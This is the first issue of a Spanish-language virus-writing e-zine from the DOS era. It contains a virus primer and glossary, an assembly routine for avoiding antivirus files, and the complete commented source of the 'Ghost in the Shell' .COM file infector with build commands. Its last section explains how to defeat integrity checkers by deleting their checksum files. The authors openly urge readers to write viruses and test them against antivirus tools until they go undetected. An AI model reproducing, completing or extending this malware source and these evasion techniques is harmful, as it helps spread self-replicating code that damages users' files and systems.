                                                                    
                    M O R S  U L T I M A  R A T I O          
                                ( MUR )                  
                                                              
                                                           
                                                            

   Editorial

   Bueno seores, aqu est la primera. No est bien claro que pretende ser
sta  publicacin, y ha  tenido grades problemas  desde su inicio.  No
pretendemos ser una referencia ni un imitador -mucho menos competidor- de
grandes publicaciones sobre vrus como Minotauro o 40Hex. Simplemente
queremos compartir con ustedes nuestros modestos conocimientos y hablar un
poco de ste pequeo hobby nuestro que son los virus ;).
   nicamente nos comprometemos a no ofender a nadie -en la medida de lo
posible O:) - y ofrecer lo que nos apetezca para todo aquel que quiera pasar
un rato entretenido y de paso aprender algo. Si no les gusta la revista
simplemente la borran de su disco y en paz, nosotros tan amigos :D.
   Los apartados de la revista son un poco borrador de lo que pretendemos
ofrecer en cada nmero que ir apareciendo como tan buenamente se pueda, que
normalmente ser a principios de Julio. Todo puede modificarse y cambiar con
nuevas ideas que ustedes si quieren -y nosotros queremos hacerles caso- nos
puede enviar uno de los e-mail que aparecen donde encontraron la revista
que estn relacionados con hk.
   Bueno, a ver que pasa. Espero que de haber una prxima editorial no me
toque escribirla a mi... ;)

-----------------------------------------------------------------------------

 ndice de MUR nmero 1.

        Editorial ................................... "EL principio"

        Informe ................................. "Qu es un virus?"
        Informe .................................. "Trminos comunes"

        Rutinas .................................. "Comparar cadenas"
        Anlisis ............................... "Ghost in the Shell"
        Anti-virus ....................... "Archivos de verificacin"

-----------------------------------------------------------------------------

   Qu es un virus?

   No sera correcto comenzar una publicacin que trate sobre la comida
china sin delimitar claramente que es la comida china. Que mierda, ni
siquiera me gusta la comida china.
   Un virus es simplemente un programa. Como tal, para funcionar, debe
ejecutarse. Entonces... qu diferencia a un virus del Windows 95? Poca
cosa.
   No. Fuera de tonterias. Un virus se diferencia de otros programas por
llevar a cabo su actividad de una forma similar a los virus, llammoslos,
biolgicos. Emplean a otros programas para distribuirse y llevar a cabo
un objetivo, el payload, que puede ser desde machacar el disco duro a
sacar un texto idiota por pantalla el dia de tu cumpleaos. La accin del
virus se lleva a cabo normalmente de forma oculta (menos el payload, claro).
   sta definicin algo macarrnica nos lleva a descartar a Windows 95, por
ejemplo. De la misma manera un huevo de troyanos que hay por ah, y que son
incluidos en los antivirus como virus en la mayora de los casos, no deben
ser considerados virus por no distribuirse. Qu como se distribuyen? Pues
muy sencillo, o muy complicado. Los hay que infectan los boot de disquettes
y/o discos duros, los hay que infectan archivos,... en todos los casos, sitios
donde se puede encontrar cdigo ejecutable, recuerden la definicin... es un
programa que debe ejecutarse. Un fichero de texto como el que estan leyendo
no valdra porque no podee cdigo ejecutable.
   La idea bsica es muy sencilla. Tomen como ejemplo un virus de archivo.
El virus debe encontrar un archivo que se ajuste a sus necesidades. Una vez
encontrado  el archivo adecuado  se debe aadir el  virus al archivo  y
modificarlo para que en lugar de ejecutarse normalmente, se ejecute primero al
virus y luego el archivo. Ya est. Veamos un dibujito:

 Antes de la infeccin

        -------         ----------------------------------
       | Virus |       | Archivo Ejecutable Adecuado (AEA)|
        -------         ----------------------------------

 Despues de la infeccin

         ----------------   
     -> |  | AEA | Virus |
    |    ----------------
   modificacin para ejecutar el virus antes


   ste sera el esquema clsico de una infeccin de un archivo .COM, por
ejemplo. Todo el proceso debe hacerse de una forma invisible al usuario, para
que no advierta lo que est pasando -je-.
   Distintos elementos con cdigo ejecutable requieren de procesos diferentes.
No es igual la infeccin de un sector de arranque de un disco duro que la
infeccin de un fichero word (que posee cdigo ejecutable en formato word
basic). Podemos distinguir, ms o menos y perdonen los puristas, entre
estas categoras de infeccin (no tipos, ojo):

        a. Boot, TP             \____ plataforma equivalente
        b. EXE, COM, SYS, ...   /

        c. otros: EXE para Windows, Excel, Word, Vxd, DLL, ...

   Los grupos a y b se basan en conceptos muy parecidos y son los virus de
siempre, que  funcionan en entornos MS/DOS.  El resto ya  requieren unos
conocimientos concretos cada uno sobre su entorno y funcionamiento, aunque
las similitudes sea en algunos casos significativas como en Excel y Word.
   Esta mierda de distincin se debe a que en MS/DOS hay ms cosas infectables
de forma similar, hoy por hoy. Quizs con el tiempo infectar un Vxd sea tan
trivial como hoy es infectar un Com, pero por ahora...

   Las caractersticas de los virus van enfocadas a:

        a. ocultamiento ante el usuario
        b. ocultamiento ante anti-virus, tecnicas contra ellos
        c. efectos de activacin

   Las del grupo a son las ms claras, y pasan por que el virus tenga un
tamao muy reducido para pasar desapercibido, a tecnicas complejas como
el dir stealth, que permite que el usuario no aprecie al aumento de tamao
de los archivos infectados.
   Las del grupo b son quizs menos claras, pero tienen sentido. El anti-virus
(av a partir de ahora), es el peor enemigo del virus. A veces hasta un cutre
av puede traernos problemas. Una vez me di un susto de muerte cuando provando
como un virus que estaba escribiendo evada los flags heursticos del tbav,
me detect al jodido virus garfio residente en memoria. Comorrrrr? El mierda
del av me haba confundido el virus con el garfio y lo cachondo es que el
virus que estaba haciendo ni siquiera era residente... estas cosas pueden
pasar, y sera una lastima que un virus que nos hayamos currado que te cagas
no tenga futuro porque un av despistado lo detecta como el viergn de calatayud
(por decir algo). Pero no nos vayamos ms por las ramas. Hay que protegerse
de los ataques directos, como los ficheros de verificacin de integridad o
las bsquedas heursticas. Osea, que para hacer un buen virus, ajnciense
un buen av (o uno que crean que es bueno) y prueben su virus con l hasta que
se lo pasen por el forro de los cojones.
   Las del grupo c, bueno...  testeen una fecha o  lleven cuenta de  las
infecciones y todos contentos. Para qu coo activacines de esas que no
entiendes ni en que cojones... si tienen una vena artista, pinten cuadros o
hagan la rutina de activacin ms compleja de la historia, pero a mi...
como si se cortan la vena.

   Y esto es todo. Espero que tengan una idea global de lo que es un virus,
o al menos lo que nosotros consideramos un virus. Es posible que si no tienen
ni idea se hallan perdido un poco con algunos trminos, pero para eso est
lo que sigue. Que se lo pasen bin.

-----------------------------------------------------------------------------

   Trminos Comunes

  Aqu van algunas cosillas que se deben saber si se quiere entender la
programacin de virus. No estn todos los que son, pero...
  Ojo que el parecido con la Minotauro es casual. Ellos hablan un argentino
muy moln y nosotros no.

 [Payload, Activacin]: Es la forma que tiene el virus de darse a conocer
abiertamente. Puede ser desde un mensaje en pantalla hasta la destruccin
de datos. Se debe dar bajo unas condiciones concretas: hora del sistema,
fecha, nmero de infecciones, pulsacin de una tecla, ...

 [Anti-heurstica]: Tcnicas dirigidas a  impedir que  un antivirus (av)
detecte nuestro virus mediante la bsqueda de cdigo caracterstico de los
virus, por ejemplo: las rutinas de residencia.

 [Anti-debugging]: Tcnicas dirigidas a impedir que el cdigo de nuestro
virus sea ejecutado por pasos. Los que hacen los av ejecutan los virus de
forma controlada para as descubrir su funcionamiento y hacer una anlisis
para disear una vacuna.

 [Boot sector]: Sector de arranque de los discos ubicado en el primer sector.
Contiene datos sobre el tipo de disco y un pequeo cdigo para arrancar el
sistema. El disco duro tambin tiene la tabla de particiones.

 [CMOS]: Metal xido semi... no se qu... una memoria que se mantiene cuando
el ordenador se apaga. Contiene informacin sobre la configuracin: que disco
arranca primero, las tipos de unidades de discos, la hora del sistema, ...

 [Debugger]: Un programa para ejecutar programas de forma controlada. Permite
entre otras cosas ejecutar instruccin a instruccin y poner puntos para que
el programa ejecutado se detenga.

 [Desensamblador]: Un programa que transforma cdigo ejecutable en cdigo
fuente. Es interesante desensamblar ciertas partes de los av para as poder
joderlos mejor al entender como funcionan ;) .

 [Virus]: No se, no se... Lean el artculo de ms arriba.

 [Hoste, Portador]: Programa infectado. Programa portador del virus.

 [Header]: Cabeza o cabecera. En un Exe se refiere, por ejemplo, a los
512 bytes que hay a su comienzo y que dan informacin relativa del
archivo: memoria a utilizar, tamao del archivo, tipo de Exe, ...

 [Infector]: El virus.

 [Interrupcin, int]: Los computadores funcionan as. El hardware interrumpe
todo para saltar a un cdigo que le indica la tabla de interrupciones (en
la posicin 0000:0000). Cuando la interrupcin termina todo se reanuda como
si nada hubiera pasado. Hay interrupciones del la Bios (que son cargadas al
arrancar el equipo) y las del sistema operativo, que son cargadas al
instalarse el operativo en memoria.

 [Run-time Infector]: Un virus que infecta al ser ejecutado el programa que
lo contiene.

 [Resident Infector]: Un virus que se queda residente en memoria y que ejerce
su accin desde all a travs de una interrupccin.

 [Hookear,Parchear]: Modificar o sustituir una interrupccin legtima por
cdigo del virus.

 [Stealth]: Tcnicas de ocultamiento.  Las hay de muchos tipos y  suelen
llamarse 'xxxxx stealth', como dir stealth o error stealth.

 [Polimorfismo]: Tcnicas orientadas a que el virus cambie y sea distinto
en cada infeccin, y as ms difcil de detectar por el mtodo de la bsqueda
de cadenas.

 [Bsqueda de cadenas,strings]: Mtodo por el cual la mayora de los virus
son detectados por los av. Se basan en la bsqueda dentro de los ficheros de
trozos caractersticos de un virus concreto. Antes de este paso se suele
pasar por un debbuging y un desensamblado.

 [Encriptado]: Tcnicas para codificar el cuerpo del virus y que sea as
ilegible  hasta el momento de ser  ejecutado ya que entonces  debe ser
desencriptado.

 [SFT, System File Table]: Una tabla que crea el Dos para cada archivo
abierto. Contiene informacin sobre el archivo.

 [Troyano]: Un programa, generalmente destructivo, que se hace pasar por
otro legtimo para llevar a cabo sus propsitos. No se distribuyen, es
decir, no son virus.

 [Tunneling]: Tcnica que consiste en encontrar la interrupcin original
pasando por encima de otros programas que la hayan parcheado. Es una forma
del dejar fuera de juego a los av residentes que monitorean las int.

 [MCB]: Una tabla que controla la asignacin de la memoria por parte del
Dos. Trasteando esta tabla podemos dejar un programa residente sin que
nadie se entere.

 [In the wild]: Cuando un virus es vigente en la calle, es decir, sta
ms o menos extendido.

  Con sto basta. Algunas cosas debera saberlas ya si tiene algo de idea
de lo que es un ordenador. Con que estos nombres le suenen, sobra.

-----------------------------------------------------------------------------

   Rutinas: Comparar cadenas.

   Hey. Vamos a imaginarnos una situacin. Te tiras una semana dale que te
pego con un virus que, la verdad, te est quedando bin. Tienes grandes
esperanzas puestas en l. Es la nia de tus sueos. "Llegar lejos" piensas.
Pero... oh! Dios mio, NO! El usuario tira a pasar su Panda av por un disco
que le han dejado con unos programitas y alguna foto guarra y su av pita
diciendo que ha sido modificado. Joder, que putada.
   Es algo que puede pasar. Y dada la idea que tienen algunos usuarios de
los virus, es raro el individuo que no tiene un av en casa y lo pasa ms o
menos frecuentemente. Nuestro virus, completamente inocente, identifica el
av como un fichero Exe, y como adems esos son los ficheros que infecta, toma
cagada. El av lo primero que hace es verificar su integridad y como ya no es
ntegro (gracias a nuestro virus), pita y el usuario se percata de que tiene
un virus dando saltos por su disco duro.
   sto se puede evitar, y se debe evitar.
Hay stealth de todo tipo y algunos son muy efectivos a ste respecto, como
desinfectar al abrir el archivo e infectar al cerrar. Cuando el av se abre
a si mismo para comprobar si todo va bin, el virus ya no est y no pita.
Cuando se cierra se le vuelve a infectar y en paz.
   Sin embargo la rutina que presentamos hoy, sin ser la mejor, nos da otra
opcin para que nuestro virus no caiga en error de infectar un av.
   La rutina en si es sencilla y lo nico que hace es comparar dos cadenas,
y si coinciden, estamos a punto de infectar un av.
   Algunos av, como en ThunderByte av (tbav), comienzan todos sus archivos
por TB (tbclean, tbutils, tbav, tbscan, ...), con lo que no infectamos ningn
archivo cuyo nombre comienza por 'TB' y asunto arreglado.

   Aqu hay algunas cadenas interesantes para comprobar:

   'TB' ------> ThunderByte av
   'PAVCL' ---> Panda av
   'MSAV' ----> MicroSoft av
   'SCAN' ----> Scan de McAfee
   'F-' ------> Fridrik Skulason's F-Prot

  Y la rutina que proponemos es tal que:

checkIfAv:      push    si di ax
searchloop:     cmp     byte ptr es:[di],00h    ; final de cadena file?
                je      noAv
                cmp     byte ptr cs:[si],00h    ; final de cadena av?
                je      IsAv
                mov     al,byte ptr cs:[si]
                cmp     al,byte ptr es:[di]     ; igual av a file?
                jne     noAv
                inc     si
                inc     di
                jmp     searchloop

IsAv:           stc
                jmp     outIsAv
noAv:           clc
outIsAv:
                pop     ax di si
                ret

  La rutina compara la cadena pasada en es:[di] con la cadena en cs:[si],
ambas acabadas en 0. Si la cadena de es:[di] (llamada file) es igual que
la cadena cs:[si] (av) el carry flag se enciende. Notar que la cadena
llamada av debe ser como mucho de 13 caracteres y con la forma:

        'NOMBRE  .EXT',0 ->  8 char nombre - punto - 3 char extension

ya que la cadena es:[di] tendr por cojones esa forma con espacios en
blanco para completar en nombres inferiores a los 8 caracteres o con
extensiones infecriores a los 3 caracteres.
  Si es menor, solo se comparn los caracteres que tengamos. Un ejemplo de
llamada a la rutina podra ser:

 ; datos

 cadenaAv       db      'SCAN',0

 ; suponemos que en es:[di] est el nombre en ASCIIZ del fichero
 ; a infectar y que es 'SCANVIR .EXE',0

        lea     si,cadenaAv
        call    checkIfAv
        jc      noInfectar

 ;       ...    infeccion    ...

noInfectar:

 ;       ... sigue el cdigo ...

   Si el archivo a infectar se llama 'SCAN****.***', siendo * comodines,
el archivo no ser infectado, como ocurre en este caso.

   Bueno, la proxima vez veremos otra rutina interesante para aplicar a
nuestros virus. Es posible que se les ocurra una rutina mejor. Intntenlo.
Mientras tanto me despido hasta la prxima. Bye!

-----------------------------------------------------------------------------

   Anlisis: Ghost in the Shell

   La idea de sta seccin era analizar virus que ustedes pudieran
encontrar in the wild. Incluso se lleg a desensablar y analizar el virus
Whisper, pero hemos creido conveniente comenzar analizando un virus de
archivo Com muy sencillo, para abrir boca.
   La elecin final ha sido el Gits, un virus de un ex-hk, que ahora que
no est entre nosotros podemos descuartizar sin pelos en la lengua. La
verdad es que gits fue un paso previo a otros virus ms complejos y nunca
llego a estar in the wild. Nuestro ex-compaero era partidario de comenzar
cada virus desde cero para posteriormente aumentar su complegidad.

   Gits es un run-time infector de ficheros Com sin ningn tipo de Stealth.
Infecta atravs de las funciones find first y find next del Dos, por lo
que guarda el DTA del portador y luego la restaura antes de devolverle el
control. sto lo hace porque las funciones ffist y fnext emplean el DTA para
devolver los resultados de la bsqueda. En ese caso el DTA del host se ve
modificado y eso conlleva errores en su ejecucin al pasarle el control.
La estructura de Gits es muy sencilla y no emplea bsquedas transversales
ni historias complicadas. Se limita al directorio donde es ejecutado, con
lo que abandonar ese directorio y seguir infectando el sistema es muy
difcil, por no decir imposible.
   Ah va el cdigo:

--- cortar aqu ---

;
;
;       ghost in the shell v1.0 b
;
;       no residente.
;
;       infecta todos los ficheros COM menores de 64000 bytes
;       que se encuentren en el directorio actual hasta que se acaben
;       o encuentre un fichero infectado.
;
;       marca de infeccion '@'.
;

gits segment byte public
                assume cs: gits, ds:gits
                org 0h

inicio          label   byte
tam             equ     final-inicio            ; tamao del virus
                                                ; til para infectar
                push    cs                      ; ds=es=cs
                pop     ds
                push    cs
                pop     es

                call    delta                   ; calculamos el desplaza-
delta           proc    near                    ; miento de las variables
delta           endp

                pop     bp                      ; almacenandolo en bp
                sub     bp,offset delta

                jmp     salta_dat
;datos

mensaje:        db      0dh,0ah,'ghost in the shell'
                db      0dh,0ah,'hail and kill 97',0dh,0ah,'$'
guar_DTA        db      1eh+13 dup (0)

cabeza_n        db      0e9h,?,?,'@'            ; nuevo header
cabeza_v        db      0cdh,20h,90h,'@'        ; header antiguo

busca           db      '*.C?M',0               ; mascara para ffirst

contador        db      0                       ; contador de infecciones

salta_dat:
                lea     si,bp + cabeza_v        ; restauramos el header
                push    100h                    ; al portador lo primero
                pop     di                      ; de todo para cuando
                movsw                           ; acabemos de infectar
                movsw                           ; le devolvamos el control

                mov     al,byte ptr cs:[contador + bp]
                cmp     al,25                   ; si hay + de 25 infecciones
                jna     continuar               ; payload

                lea     dx,mensaje+bp           ; un mensaje
                mov     ah,09h
                int     21h

infinito:       jmp     infinito                ; bloqueo, mierda payload

continuar:
                mov     cx,1eh+13               ; guarda DTA del fichero
                lea     di,bp + guar_DTA        ; portador por lo que
                mov     si,80h                  ; ya hemos comentado
                rep     movsb

                mov     ah,4eh                  ; buscamos un *.c?m
                mov     cx,0                    ; lo que puede joder
                lea     dx,bp + busca           ; ficheros *.cim, *.cam, ...
                int     21h                     ; pero el tbav no pita
                jz      cagada2                 ; si no hay, salimos

sigue:          mov     ah,3dh                  ; abrimos el fichero
                mov     al,2h                   ; encontrado r/w
                mov     dx,9eh                  ; nombre en cs:[9eh]
                int     21h
                jz      cagada2
       
                mov     bx,ax                   ; pasamos el manejador
                                                ; del fichero a bx

                mov     ah,3fh                  ; leemos header (4 bytes)
                mov     cx,4h
                lea     dx,bp + cabeza_v
                int     21h

                mov     al,byte ptr cs:[cabeza_v + 3 +bp]
                cmp     al,'@'                  ; esta infectado ?
                je      cagada                  ; si lo esta, salimos

                mov     ah,42h                  ; vamos al princio del
                mov     al,0                    ; archivo
                mov     cx,0
                mov     dx,0
                int     21h

                mov     cx,2h                   ; calculamos el jmp
                mov     si,9ah
                lea     di,cabeza_n + bp +1
                rep     movsb
                inc     word ptr cs:[cabeza_n + bp +1]

                mov     ax,word ptr cs:[cabeza_n + bp + 1]
                cmp     ax,64000                ; miramos tamao < 64000
                ja      cagada                  ; sino salimos

                mov     ah,40h                  ; escribimos header midificado
                mov     cx,4h                   ; 4 bytes
                lea     dx,cabeza_n + bp
                int     21h

                mov     ah,42h                  ; vamos al final del
                mov     al,2h                   ; archivo
                mov     cx,0
                mov     dx,0
                int     21h

                mov     ah,40h                  ; copiamos virus
                mov     cx,tam
                lea     dx,inicio + bp
                int     21h

                inc     byte ptr cs:[contador + bp] ; una infeccion mas

                mov     ah,3eh                  ; cierra fichero antes
                int     21h                     ; de buscar otro

                mov     ah,4fh                  ; busca otro *.c?m
                int     21h
                jz      cagada2                 ; no hay: salimos

                jmp     sigue                   ; repetimos: abrir,comprobar,...

cagada:
                mov     ah,3eh                  ; cerramos fichero
                int     21h

cagada2:        mov     cx,1eh+13               ; restauramos dta del
                lea     si,bp + guar_DTA        ; portador para
                mov     di,80h                  ; evitar errores
                rep     movsb

                push    100h                    ; devolvemos el control
                pop     ax                      ; al portador
                jmp     ax

final           label   byte
gits            ends
                end     inicio

--- cotar aqu ---

   Para ensamblarlo:
                tasm /m virus.asm
                tlink virus.obj
                exe2bin virus.exe virus.com
                del virus.exe

   Hay algunas cosas que se podran haber mejorado. La idea de buscar archivos
*.C?M es buena, pero sera mejor guardar en el archivo al infectar '* COM' y
aadir el punto cuando nos haga falta buscar ficheros Com. Luego quitamos el
punto y ponemos el espacio cuando grabemos el virus y ya est. El tbav no
pita y evitamos ser descubiertos por infectar ficheros que no son Com.
   Tampoco se comprueba que el Com sea un Com. Podra ser un archivo de
texto cualquiera y nuestro virus, tan feliz, lo infectara como si nada. Una
buena idea para evitar esto sera comparar el primer byte con un jmp, como
0e9h, y as tendramos un alto grado de certeza de que es un Com.
   Faltar, faltan muchas cosas. Se hace necesario el stealth de los errores
de disco, de atributos y la fecha y hora del archivo. Vamos, que el Gits es un
virus a medio terminar. Quizs al no tener nada interesante, el tbav slo
muestra el flag 'F', y no da aviso. Vamos, que no lo detecta.
   Pese a todo, el virus comprueba que los ficheros Com no sean mayores
de 64000 bytes y slo infecta una vez cada archivo (usando @ en el cuarto
byte del archivo como marca de infeccin).
   Si aadimos lo que falta y ampliamos el rango de infeccin (sera buena
idea que adems de infectar el directorio actual, buscara infectar algn
archivo del directorio \DOS, que suele estar en la path), el virus podra
llegar a ser pasable. Aunque al limitarse a fichero Com lo tendra muy
difcil para moverse a otro sistema (hoy en dia no se dirtribuyen ficheros
Com en casi ningn software).

   El prximo anlisis ser de un infector residente, o quizs un virus
de boot, que pueden ser bastante sencillos en los dos casos.

-----------------------------------------------------------------------------

   Anti-virus: Archivos de Verificacin

   Es, sin duda, uno de los medios ms eficaces por los cueles el usuario
puede protegerse de nuestras nuevas creaciones. Y la verdad es que la
tcnica es sencilla.
   El usuario pasa un programa para hacer verificacin de sus archivos cuando
sabe que est libre de toda infeccin. El programa verificador lo nico que
hace es tomar los datos de cada archivo y hacer una copia de sus 'huellas
dactilares'. Las huellas dactilares es la suma de todos los bytes del archivo,
por ejemplo. Es prcticamente imposible que dos archivos ejecutables tengan
la misma suma (check sum). As el programa verificador slo tendr que hacer
la check sum otra vez y comprobar si los valores que obtiene son iguales a
los que tena guardados de la primera vez (que estaban sin virus).
   Ni que decir tiene que jode bastante que una empresa que desarrolla av
gane dinero vendiendo esa mierda, ya que el programa es ms sencillo que
un botijo. Yo no se hacer un botijo y un programa de verificacin s.
   Los programas de verificacin suelen almacenar los check sum en un archivo,
normalmente siempre del mismo nombre, que est en el directorio donde se
encuentran los archivos a los que hace referencia. No vamos a explicar por qu
los av lo hacen as (segn ellos hay un motivo).
   La solucin que proponemos es muy simple: antes de infectar un nuevo
archivo, borramos el archivo de check sum del directorio. Pero esto nos da
dos problemas: el usuario, o incluso el av, pueden darse cuenta de la ausencia
de los archivos check sum, y por otra parte, no podemos conocer los nombres
de los check sum de todos los av (ni siquiera saber si el usuario ha decidido
que tengan un nombre que no es el habitual).
   En fin, la primera parte tiene solucin. Machacamos los x primeros bytes
del archivo de verificacin y punto. Normalmente suelen llevar un header y
si lo destruimos el av no distinguir el archivo como de verificacin. Aunque
la gran mayora de av siguen pitando, por lo que no es buena para todos sta
tcnica. Quizs la opcin original, la de borrar los archivos de verificacin,
no sea tan mala. A fin de cuentas el usuario (si llega a enterarse de algo)
slo sabr que falta algun archivo de check sum que incluso puede haber
borrado el mismo sin darse cuenta.
   El segundo caso es complejo pero tiene solucin. Es una comprobacin que
slo es recomendable para infectores residentes (por lo lenta que es).
   El virus residente nicamente se instala en memoria si no est ya residente
y ese sera el momento ideal para hacer la comprobacin. Las siguientes veces
que sean ejecutados archivos infectados no se instalaran en memoria y no harn
la comprobacin.
   La comprobacin consiste en abrir todos los archivos del directorio (aunque
primero deberamos ver cuantos hay, desistiendo si hay muchos) y buscar el
nombre del archivo portador. Si aparece, guardaremos el nombre de ese archivo
abierto y  dejamos al virus residente.  Ahora el virus en cada  infeccin
comprobar si  existe el supuesto archivo de check sum,  y si existe lo
borramos. Y as nos aseguramos de borrar los check sum, independientemente
del nombre que tengan.

   Aun la ltima tcnica, que es bastante compleja, puede dar problemas
borrando supuestos check sum que no lo sean (aunque sera muy raro). Pero
no cabe precuparse demasiado y slo tener en cuenta a los av que hacen
los archivos de verificacin por defecto, sin pedir permiso. Muy pocos
usuarios conocen sta tcnica de proteccin y pocos que la conocen, la
usan. As que nuevamente son los av los que la joden. Bastara con
usar la tcnica de la busqueda del archivo de verificacin o borrar los
ms comunes como:
                        'anti-vir.dat'  del tbav
                        'chklist.ms'    del msav/mswav

que los hacen por defecto (muchos usuarios ni saben que los hacen).

   Y hasta aqu llego. La prxima vez veremos otra tcnica de los av y como
joderla en la medida de lo posible.

-----------------------------------------------------------------------------
